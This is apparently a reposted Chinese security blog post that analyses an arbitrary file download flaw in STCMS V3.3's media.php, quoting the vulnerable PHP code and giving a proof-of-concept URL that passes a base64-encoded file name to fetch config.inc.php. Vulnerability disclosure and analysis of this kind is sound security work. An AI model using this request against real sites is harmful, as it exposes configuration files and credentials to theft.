【漏洞】STCMS V3.3 下载任意文件漏洞

admin 2021年4月3日19:10:25评论23 views字数 1184阅读3分56秒阅读模式

大家好,我是子↘仪,STCMS V3.3存在一个下载任意文件的漏洞,这个漏洞是我的好友可乐发现的,
我来做一下简单分析。

漏洞存在于media.php中。看关键代码:

if($id && $music=$mysql->selectOne('music', 'url,server', array('id'=>$id))){

此处省略。。。

}

else {

       $url = base64_decode($url);

       $url = preg_replace(array('/%3A/i','/%2F/i','/%3D/i','/%27/i','/%22/i', '/%2A/i'), array(':','/','=',''','+'), rawurlencode($url));

       $fileName = basename($url);

       header("Content-type: application/octet-stream");

       header("Accept-Ranges: bytes");

       header("Accept-Length: 4");

       header("Content-Disposition: attachment; filename=$fileName");

       @readfile($url);

首先我们只要让程序执行else中的语句,这一步很简单,只要id的值不存在即可。然后我们继续看else中的代码,第一步对url中的值进行base64解码,然后一个正则,过滤掉url中的一些危险的字符。接着获取url这个值对应的网站路径。最后就是存在漏洞的代码了,header("Content-Disposition: attachment; filename=文件名");这一句可以让用户下载指定的文件,readfile()用来读取文件内容,前面加一@,防止出现错误信息。那么最后两句摆在这里,就可以让我们任意下载文件了。

我再来说一下方法,首先构造url的值,比如下载config.inc.php,先将config.inc.php进行base64加密,因为程序接收参数后会对其解码。这时url后加上Y29uZmlnLmluYy5waHA=,就可以下载config.inc.php文件了。

POC : http://localhost/media.php?url=Y29uZmlnLmluYy5waHA=

文章来源于lcx.cc:【漏洞】STCMS V3.3 下载任意文件漏洞

相关推荐: 【漏洞】Destoon B2B - 注射与后台代码执行

Destoon B2B SQL注射 & 后台代码执行漏洞: 发布日期:2010-11.11 发布作者:fjhgx (俺是农村的) 漏洞类型:SQL注射 && 后台代码执行 文章申明:转载请保留所有权 在公布漏洞之前我严重的鄙视下 Des…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日19:10:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞】STCMS V3.3 下载任意文件漏洞http://cn-sec.com/archives/320068.html

发表评论

匿名网友 填写信息